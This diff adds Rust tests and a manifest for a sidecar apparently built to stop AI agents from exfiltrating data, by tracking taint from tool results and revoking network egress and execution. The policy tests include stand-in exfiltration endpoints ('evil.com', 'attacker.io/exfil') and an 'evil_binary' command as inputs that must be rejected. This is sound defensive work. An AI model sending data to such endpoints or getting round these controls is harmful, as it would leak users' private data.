agnostic of LLM request format. +#[derive(Debug, Clone)] +pub struct ToolCall { + pub id: String, + pub name: String, + pub arguments: serde_json::Map, +} + +/// Result of resolving a command against the policy. +#[derive(Debug, Clone)] +pub struct ToolLookupResult { + pub taint: BTreeSet, + pub source: String, + pub requires: BTreeSet, +} + +/// Minimal taint state. +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct ConversationTaint { + pub taint: BTreeSet, + pub ts: i64, +} diff --git a/traits/capability-ratchet/tests/common/mod.rs b/traits/capability-ratchet/tests/common/mod.rs new file mode 100644 index 0000000..b586069 --- /dev/null +++ b/traits/capability-ratchet/tests/common/mod.rs @@ -0,0 +1,50 @@ +// SPDX-FileCopyrightText: Copyright (c) 2025-2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. +// SPDX-License-Identifier: Apache-2.0 + +//! Shared test helpers. + +use capability_ratchet_sidecar::config::{BackendConfig, ListenConfig, SidecarConfig}; +use capability_ratchet_sidecar::policy::Policy; +use serde_json::json; +use std::path::PathBuf; + +/// Create a sample policy for testing. +pub fn sample_policy() -> Policy { + let data = json!({ + "version": "2.0", + "name": "test-policy", + "tools": { + "outlook-cli": {"taint": ["has-private-data"]}, + "outlook-cli read": {"taint": ["has-private-data"]}, + "confluence-cli": {"taint": ["has-untrusted-input"]}, + "curl": {"requires": ["network:egress"]}, + "wget": {"requires": ["network:egress"]}, + "curl api.github.com": {"requires": ["network:egress:approved"]}, + }, + "approvedEndpoints": [ + "api.github.com", + "*.nvidia.com", + ], + "knownSafe": [ + "outlook-cli", + "confluence-cli", + ], + }); + Policy::from_value(&data).unwrap() +} + +/// Create a sample sidecar config for testing. +#[allow(dead_code)] +pub fn sample_config() -> SidecarConfig { + SidecarConfig { + backend: BackendConfig { + url: "http://localhost:9999/v1".into(), + api_key: "test-key".into(), + model: None, + }, + policy_file: PathBuf::from("/tmp/test-policy.yaml"), + listen: ListenConfig::default(), + bash_ast_socket: None, + shadow_mode: false, + } +} diff --git a/traits/capability-ratchet/tests/test_config.rs b/traits/capability-ratchet/tests/test_config.rs new file mode 100644 index 0000000..d1b81c3 --- /dev/null +++ b/traits/capability-ratchet/tests/test_config.rs @@ -0,0 +1,47 @@ +// SPDX-FileCopyrightText: Copyright (c) 2025-2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. +// SPDX-License-Identifier: Apache-2.0 + +use std::io::Write; + +use capability_ratchet_sidecar::config::SidecarConfig; + +#[test] +fn test_load_config_from_yaml() { + let yaml = r" +upstream: + url: https://api.anthropic.com/v1 + api_key_env: TEST_API_KEY +policy_file: /app/policy.yaml +listen: + host: 0.0.0.0 + port: 5000 +bash_ast_socket: /tmp/bash-ast.sock +shadow_mode: true +"; + let mut tmp = tempfile::NamedTempFile::new().unwrap(); + tmp.write_all(yaml.as_bytes()).unwrap(); + + let config = SidecarConfig::from_yaml(tmp.path()).unwrap(); + assert_eq!(config.backend.url, "https://api.anthropic.com/v1"); + assert_eq!(config.listen.host, "0.0.0.0"); + assert_eq!(config.listen.port, 5000); + assert_eq!( + config.bash_ast_socket.as_deref(), + Some("/tmp/bash-ast.sock") + ); + assert!(config.shadow_mode); +} + +#[test] +fn test_config_defaults() { + let yaml = "{}"; + let mut tmp = tempfile::NamedTempFile::new().unwrap(); + tmp.write_all(yaml.as_bytes()).unwrap(); + + let config = SidecarConfig::from_yaml(tmp.path()).unwrap(); + assert_eq!(config.backend.url, "http://localhost:1234/v1"); + assert_eq!(config.listen.host, "127.0.0.1"); + assert_eq!(config.listen.port, 4001); + assert!(config.bash_ast_socket.is_none()); + assert!(!config.shadow_mode); +} diff --git a/traits/capability-ratchet/tests/test_normalize.rs b/traits/capability-ratchet/tests/test_normalize.rs new file mode 100644 index 0000000..bafffe3 --- /dev/null +++ b/traits/capability-ratchet/tests/test_normalize.rs @@ -0,0 +1,176 @@ +// SPDX-FileCopyrightText: Copyright (c) 2025-2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. +// SPDX-License-Identifier: Apache-2.0 + +use capability_ratchet_sidecar::normalize; +use serde_json::json; + +#[test] +fn test_resolve_chat_completions_by_key() { + let data = json!({"messages": [{"role": "user", "content": "hello"}]}); + let fmt = normalize::resolve(&data, None); + assert_eq!(fmt.name(), "chat_completions"); +} + +#[test] +fn test_resolve_responses_api_by_key() { + let data = json!({"input": "hello"}); + let fmt = normalize::resolve(&data, None); + assert_eq!(fmt.name(), "responses_api"); +} + +#[test] +fn test_resolve_anthropic_by_blocks() { + let data = json!({ + "messages": [{ + "role": "user", + "content": [{"type": "tool_result", "tool_use_id": "t1", "content": "ok"}] + }] + }); + let fmt = normalize::resolve(&data, None); + assert_eq!(fmt.name(), "anthropic"); +} + +#[test] +fn test_resolve_by_call_type() { + let data = json!({}); + assert_eq!( + normalize::resolve(&data, Some("completion")).name(), + "chat_completions" + ); + assert_eq!( + normalize::resolve(&data, Some("anthropic_messages")).name(), + "anthropic" + ); + assert_eq!( + normalize::resolve(&data, Some("responses")).name(), + "responses_api" + ); +} + +#[test] +fn test_normalize_chat_completions() { + let data = json!({ + "messages": [ + {"role": "user", "content": "hello"}, + {"role": "assistant", "content": "hi"}, + ] + }); + let msgs = normalize::normalize_input(&data, None); + assert_eq!(msgs.len(), 2); + assert_eq!(msgs[0]["role"], "user"); +} + +#[test] +fn test_normalize_responses_api_string_input() { + let data = json!({"input": "hello"}); + let msgs = normalize::normalize_input(&data, Some("responses")); + assert_eq!(msgs.len(), 1); + assert_eq!(msgs[0]["role"], "user"); + assert_eq!(msgs[0]["content"], "hello"); +} + +#[test] +fn test_extract_tool_calls_chat_completions() { + let response = json!({ + "choices": [{ + "message": { + "role": "assistant", + "tool_calls": [{ + "id": "tc1", + "type": "function", + "function": { + "name": "bash", + "arguments": "{\"command\": \"ls\"}" + } + }] + } + }] + }); + let calls = normalize::extract_tool_calls(&response); + assert_eq!(calls.len(), 1); + assert_eq!(calls[0].name, "bash"); + assert_eq!(calls[0].id, "tc1"); +} + +#[test] +fn test_extract_tool_calls_anthropic() { + let response = json!({ + "content": [{ + "type": "tool_use", + "id": "tu1", + "name": "bash", + "input": {"command": "ls"} + }] + }); + let calls = normalize::extract_tool_calls(&response); + assert_eq!(calls.len(), 1); + assert_eq!(calls[0].name, "bash"); + assert_eq!(calls[0].id, "tu1"); +} + +#[test] +fn test_extract_tool_calls_responses_api() { + let response = json!({ + "output": [{ + "type": "function_call", + "call_id": "fc1", + "name": "bash", + "arguments": "{\"command\": \"ls\"}" + }] + }); + let calls = normalize::extract_tool_calls(&response); + assert_eq!(calls.len(), 1); + assert_eq!(calls[0].name, "bash"); + assert_eq!(calls[0].id, "fc1"); +} + +#[test] +fn test_inject_hint_chat_completions() { + let mut data = json!({"messages": [{"role": "user", "content": "hi"}]}); + normalize::inject_hint(&mut data, "WARNING", None); + let msgs = data["messages"].as_array().unwrap(); + assert_eq!(msgs.len(), 2); + assert_eq!(msgs[0]["role"], "system"); + assert_eq!(msgs[0]["content"], "WARNING"); +} + +#[test] +fn test_inject_hint_anthropic() { + let mut data = json!({ + "messages": [{ + "role": "user", + "content": [{"type": "tool_result", "tool_use_id": "t1", "content": "ok"}] + }] + }); + normalize::inject_hint(&mut data, "WARNING", Some("anthropic_messages")); + assert!(data.get("system").is_some()); +} + +#[test] +fn test_normalize_anthropic_tool_results() { + let data = json!({ + "messages": [ + { + "role": "assistant", + "content": [ + {"type": "tool_use", "id": "tu1", "name": "bash", "input": {"command": "ls"}} + ] + }, + { + "role": "user", + "content": [ + {"type": "tool_result", "tool_use_id": "tu1", "content": "file1.txt"} + ] + } + ] + }); + let msgs = normalize::normalize_input(&data, Some("anthropic_messages")); + // Should convert to assistant with tool_calls + tool message + assert!(msgs.len() >= 2); + // First message should be assistant with tool_calls + assert_eq!(msgs[0]["role"], "assistant"); + assert!(msgs[0].get("tool_calls").is_some()); + // Second message should be a tool result + assert_eq!(msgs[1]["role"], "tool"); + assert_eq!(msgs[1]["tool_call_id"], "tu1"); +} diff --git a/traits/capability-ratchet/tests/test_policy.rs b/traits/capability-ratchet/tests/test_policy.rs new file mode 100644 index 0000000..38bb535 --- /dev/null +++ b/traits/capability-ratchet/tests/test_policy.rs @@ -0,0 +1,67 @@ +// SPDX-FileCopyrightText: Copyright (c) 2025-2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. +// SPDX-License-Identifier: Apache-2.0 + +mod common; + +use capability_ratchet_sidecar::types::TaintFlag; + +#[test] +fn test_resolve_tool_with_subcmd() { + let policy = common::sample_policy(); + let result = policy.resolve("outlook-cli", Some("read")); + assert_eq!(result.source, "tools"); + assert!(result.taint.contains(&TaintFlag::HasPrivateData)); +} + +#[test] +fn test_resolve_tool_base_fallback() { + let policy = common::sample_policy(); + let result = policy.resolve("outlook-cli", Some("unknown-subcmd")); + assert_eq!(result.source, "tools"); + assert!(result.taint.contains(&TaintFlag::HasPrivateData)); +} + +#[test] +fn test_resolve_known_safe() { + let policy = common::sample_policy(); + let result = policy.resolve("ls", None); + assert_eq!(result.source, "known_safe"); + assert!(result.taint.is_empty()); +} + +#[test] +fn test_resolve_unknown_fails_closed() { + let policy = common::sample_policy(); + let result = policy.resolve("totally_unknown_binary", None); + assert_eq!(result.source, "unknown"); + assert!(result.taint.contains(&TaintFlag::HasPrivateData)); + assert!(result.taint.contains(&TaintFlag::HasUntrustedInput)); +} + +#[test] +fn test_endpoint_approved_exact() { + let policy = common::sample_policy(); + assert!(policy.is_endpoint_approved("api.github.com")); + assert!(policy.is_endpoint_approved("https://api.github.com/v1/repos")); +} + +#[test] +fn test_endpoint_approved_wildcard() { + let policy = common::sample_policy(); + assert!(policy.is_endpoint_approved("internal.nvidia.com")); + assert!(policy.is_endpoint_approved("https://build.nvidia.com/api")); +} + +#[test] +fn test_endpoint_not_approved() { + let policy = common::sample_policy(); + assert!(!policy.is_endpoint_approved("evil.com")); + assert!(!policy.is_endpoint_approved("https://attacker.io/exfil")); +} + +#[test] +fn test_policy_validation_error_tools_not_mapping() { + let data = serde_json::json!({"tools": "not-a-map"}); + let result = capability_ratchet_sidecar::policy::Policy::from_value(&data); + assert!(result.is_err()); +} diff --git a/traits/capability-ratchet/tests/test_revocation.rs b/traits/capability-ratchet/tests/test_revocation.rs new file mode 100644 index 0000000..2d934e5 --- /dev/null +++ b/traits/capability-ratchet/tests/test_revocation.rs @@ -0,0 +1,43 @@ +// SPDX-FileCopyrightText: Copyright (c) 2025-2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. +// SPDX-License-Identifier: Apache-2.0 + +use std::collections::BTreeSet; + +use capability_ratchet_sidecar::revocation::get_forbidden; +use capability_ratchet_sidecar::types::{Capability, TaintFlag}; + +#[test] +fn test_no_taint_nothing_forbidden() { + let taint = BTreeSet::new(); + let forbidden = get_forbidden(&taint); + assert!(forbidden.is_empty()); +} + +#[test] +fn test_private_data_forbids_egress() { + let taint: BTreeSet = [TaintFlag::HasPrivateData].into(); + let forbidden = get_forbidden(&taint); + assert!(forbidden.contains(&Capability::NetworkEgress)); + assert!(!forbidden.contains(&Capability::ExecIrreversible)); + assert!(!forbidden.contains(&Capability::ExecArbitrary)); +} + +#[test] +fn test_untrusted_input_forbids_exec_irreversible() { + let taint: BTreeSet = [TaintFlag::HasUntrustedInput].into(); + let forbidden = get_forbidden(&taint); + assert!(forbidden.contains(&Capability::ExecIrreversible)); + assert!(!forbidden.contains(&Capability::NetworkEgress)); +} + +#[test] +fn test_both_flags_forbids_egress_arbitrary_irreversible() { + let taint: BTreeSet = + [TaintFlag::HasPrivateData, TaintFlag::HasUntrustedInput].into(); + let forbidden = get_forbidden(&taint); + assert!(forbidden.contains(&Capability::NetworkEgress)); + assert!(forbidden.contains(&Capability::ExecArbitrary)); + assert!(forbidden.contains(&Capability::ExecIrreversible)); + // network:egress:approved is NEVER forbidden + assert!(!forbidden.contains(&Capability::NetworkEgressApproved)); +} diff --git a/traits/capability-ratchet/tests/test_server.rs b/traits/capability-ratchet/tests/test_server.rs new file mode 100644 index 0000000..a66e3fb --- /dev/null +++ b/traits/capability-ratchet/tests/test_server.rs @@ -0,0 +1,82 @@ +// SPDX-FileCopyrightText: Copyright (c) 2025-2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. +// SPDX-License-Identifier: Apache-2.0 + +mod common; + +use std::sync::Arc; + +use axum::body::Body; +use axum::http::{Request, StatusCode}; +use capability_ratchet_sidecar::server::{AppState, create_router}; +use http_body_util::BodyExt; +use serde_json::json; +use tower::util::ServiceExt; + +fn make_state(backend_url: &str) -> Arc { + let mut config = common::sample_config(); + config.backend.url = backend_url.into(); + let policy = common::sample_policy(); + Arc::new(AppState { + config, + policy, + http_client: reqwest::Client::new(), + bash_ast: None, + }) +} + +#[tokio::test] +async fn test_health_endpoint() { + let state = make_state("http://localhost:9999"); + let app = create_router(state); + + let req = Request::builder() + .uri("/health") + .method("GET") + .body(Body::empty()) + .unwrap(); + + let response = app.oneshot(req).await.unwrap(); + assert_eq!(response.status(), StatusCode::OK); + + let body = response.into_body().collect().await.unwrap().to_bytes(); + let json: serde_json::Value = serde_json::from_slice(&body).unwrap(); + assert_eq!(json["status"], "ok"); +} + +#[tokio::test] +async fn test_invalid_json_returns_400() { + let state = make_state("http://localhost:9999"); + let app = create_router(state); + + let req = Request::builder() + .uri("/v1/chat/completions") + .method("POST") + .header("content-type", "application/json") + .body(Body::from("not valid json")) + .unwrap(); + + let response = app.oneshot(req).await.unwrap(); + assert_eq!(response.status(), StatusCode::BAD_REQUEST); +} + +#[tokio::test] +async fn test_chat_completions_backend_unreachable() { + // Backend on a port nothing listens on + let state = make_state("http://127.0.0.1:19999"); + let app = create_router(state); + + let body = json!({ + "model": "test", + "messages": [{"role": "user", "content": "hello"}] + }); + + let req = Request::builder() + .uri("/v1/chat/completions") + .method("POST") + .header("content-type", "application/json") + .body(Body::from(serde_json::to_vec(&body).unwrap())) + .unwrap(); + + let response = app.oneshot(req).await.unwrap(); + assert_eq!(response.status(), StatusCode::BAD_GATEWAY); +} diff --git a/traits/capability-ratchet/tests/test_taint.rs b/traits/capability-ratchet/tests/test_taint.rs new file mode 100644 index 0000000..86e489e --- /dev/null +++ b/traits/capability-ratchet/tests/test_taint.rs @@ -0,0 +1,114 @@ +// SPDX-FileCopyrightText: Copyright (c) 2025-2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. +// SPDX-License-Identifier: Apache-2.0 + +mod common; + +use capability_ratchet_sidecar::taint::detect_taint; +use capability_ratchet_sidecar::types::TaintFlag; +use serde_json::json; + +#[tokio::test] +async fn test_no_messages_no_taint() { + let policy = common::sample_policy(); + let taint = detect_taint(&[], &policy, None).await; + assert!(taint.is_empty()); +} + +#[tokio::test] +async fn test_user_messages_no_taint() { + let policy = common::sample_policy(); + let messages = vec![json!({"role": "user", "content": "hello"})]; + let taint = detect_taint(&messages, &policy, None).await; + assert!(taint.is_empty()); +} + +#[tokio::test] +async fn test_tool_result_private_data() { + let policy = common::sample_policy(); + let messages = vec![ + json!({ + "role": "assistant", + "tool_calls": [{ + "id": "tc1", + "type": "function", + "function": {"name": "outlook-cli", "arguments": "{\"subcommand\": \"read\"}"} + }] + }), + json!({ + "role": "tool", + "tool_call_id": "tc1", + "content": "Email content here" + }), + ]; + let taint = detect_taint(&messages, &policy, None).await; + assert!(taint.contains(&TaintFlag::HasPrivateData)); +} + +#[tokio::test] +async fn test_tool_result_untrusted_input() { + let policy = common::sample_policy(); + let messages = vec![ + json!({ + "role": "assistant", + "tool_calls": [{ + "id": "tc2", + "type": "function", + "function": {"name": "confluence-cli", "arguments": "{}"} + }] + }), + json!({ + "role": "tool", + "tool_call_id": "tc2", + "content": "Wiki page content" + }), + ]; + let taint = detect_taint(&messages, &policy, None).await; + assert!(taint.contains(&TaintFlag::HasUntrustedInput)); +} + +#[tokio::test] +async fn test_bash_tool_with_known_safe_command() { + let policy = common::sample_policy(); + let messages = vec![ + json!({ + "role": "assistant", + "tool_calls": [{ + "id": "tc3", + "type": "function", + "function": {"name": "bash", "arguments": "{\"command\": \"ls -la\"}"} + }] + }), + json!({ + "role": "tool", + "tool_call_id": "tc3", + "content": "file1.txt" + }), + ]; + let taint = detect_taint(&messages, &policy, None).await; + // ls is known safe -> no taint (using shlex fallback since no bash-ast) + assert!(taint.is_empty()); +} + +#[tokio::test] +async fn test_bash_tool_with_unknown_command() { + let policy = common::sample_policy(); + let messages = vec![ + json!({ + "role": "assistant", + "tool_calls": [{ + "id": "tc4", + "type": "function", + "function": {"name": "bash", "arguments": "{\"command\": \"evil_binary\"}"} + }] + }), + json!({ + "role": "tool", + "tool_call_id": "tc4", + "content": "output" + }), + ]; + let taint = detect_taint(&messages, &policy, None).await; + // Unknown command -> both taint flags (fail closed) + assert!(taint.contains(&TaintFlag::HasPrivateData)); + assert!(taint.contains(&TaintFlag::HasUntrustedInput)); +} diff --git a/traits/capability-ratchet/trait.yaml b/traits/capability-ratchet/trait.yaml new file mode 100644 index 0000000..a3b8cf2 --- /dev/null +++ b/traits/capability-ratchet/trait.yaml @@ -0,0 +1,45 @@ +# SPDX-FileCopyrightText: Copyright (c) 2025-2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. +# SPDX-License-Identifier: Apache-2.0 + +# Trait manifest for capability-ratchet. +# See TRAITS.md at the repo root for the full specification. + +name: capability-ratchet +version: "0.1.0" +description: > + Prevents AI agent data exfiltration by dynamically revoking + capabilities when private/untrusted data enters the context. + Complements OpenShell's perimeter security with context-aware + inference-level controls. + +exports: + binaries: + - /usr/local/bin/capability-ratchet-sidecar + - /usr/local/bin/bash-ast + config: + - /app/ratchet-config.yaml + - /app/policy.yaml + scripts: + - /usr/local/bin/ratchet-start + workspace: + - /sandbox/.ratchet + +startup: + script: /usr/local/bin/ratchet-start + health_check: http://127.0.0.1:4001/health + +ports: + - 4001 + +network_policy: + ratchet_sidecar: + endpoints: + - { host: api.anthropic.com, port: 443 } + - { host: api.openai.com, port: 443 } + - { host: integrate.api.nvidia.com, port: 443 } + binaries: + - { path: /usr/local/bin/capability-ratchet-sidecar } + +inference: + route: ratchet + endpoint: http://127.0.0.1:4001/v1